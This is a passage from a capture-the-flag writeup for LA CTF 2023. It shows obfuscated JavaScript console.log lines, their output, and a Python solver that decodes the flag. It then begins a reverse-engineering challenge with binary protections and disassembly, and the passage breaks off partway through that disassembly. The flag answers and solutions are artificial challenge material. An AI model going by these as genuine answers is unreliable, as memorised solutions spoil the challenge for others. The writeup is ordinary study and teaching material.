console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(0,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
console.log(-~-~-~-~-~[],-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~[])
```
:::
> Output :
```!
['17 108', '43 95', '21 108', '2 99', '46 52', '7 104', '42 51', '18 49', '50 103', '31 108', '39 95', '27 51', '19 116', '4 102', '25 52', '11 117', '1 97', '47 103', '14 114', '10 104', '36 97', '54 125', '33 52', '41 104', '20 116', '12 110', '3 116', '13 103', '0 108', '52 49', '26 116', '44 102', '29 112', '38 51', '8 51', '35 95', '53 110', '16 95', '37 116', '9 95', '28 114', '22 51', '15 121', '32 108', '23 95', '49 52', '51 52', '48 95', '45 108', '6 116', '30 49', '40 116', '34 114', '24 99', '5 123']
```
Looks like is the index in an array. I tried to use `chr()` function, in python `chr()` function is used to get a string representing of a character which points to a Unicode code integer. For example, `chr(97)` returns the string `a`, `chr(108)` returns the string `l`. Voila :tada:
This challenge was solved by my teammates first, I just trying to solve this to.
#### Solver script
:::spoiler Click to show details
```python=
#!/usr/bin/env python3
from Naked.toolshed.shell import *
file = muterun_js("./extract.js")
extract = file.stdout.decode().strip().split('\n')
X, Y = [], []
for S in extract:
values = [s for s in S.split(' ')]
X.append(values[0])
Y.append(values[1])
convert = [int(i) for i in X]
listing = dict(zip(convert, Y))
flag = ""
for n in range(len(listing)):
flag += chr(int(listing[n]))
print(flag)
```
:::
:::success
Flag:`lactf{th3_hungry_l1ttl3_c4t3rp1ll4r_at3_th3_fl4g_4g41n}`
:::
[Back to Top ^](#LA-CTF-2023-writeup)
---
## rev/string-cheese
I'm something of a cheese connoisseur myself. If you can guess my favorite flavor of string cheese, I'll even give you a flag. Of course, since I'm lazy and socially inept, I slapped together a program to do the verification for me.
Connect to my service at `nc lac.tf 31131`
Note: The attached binary is the exact same as the one executing on the remote server.
---
#### Analysis
> FILE INFO :
```
ELF Name : string_cheese
ELF Type : ELF 64-bit LSB pie executable
ELF Arch : x86-64
ELF SHA1 Hash : BuildID[sha1]=85f5294fa950449028c1ef7655304e4e873172d2
This binary is dynamically linked & not stripped
Arch : amd64-64-little
RELRO : Partial RELRO
Stack : No canary found
NX : NX enabled
PIE : PIE enabled
```
> ASSEMBLY AND DECOMPILED CODE :
**ASM - main :**
:::spoiler Click to show details
```asm
; DATA XREF from entry0 @ 0x10cd(r)
┌ 181: int main (int argc, char **argv, char **envp);
│ ; var char *s1 @ rbp-0x100
│ 0x00001214 55 push rbp
│ 0x00001215 4889e5 mov rbp, rsp
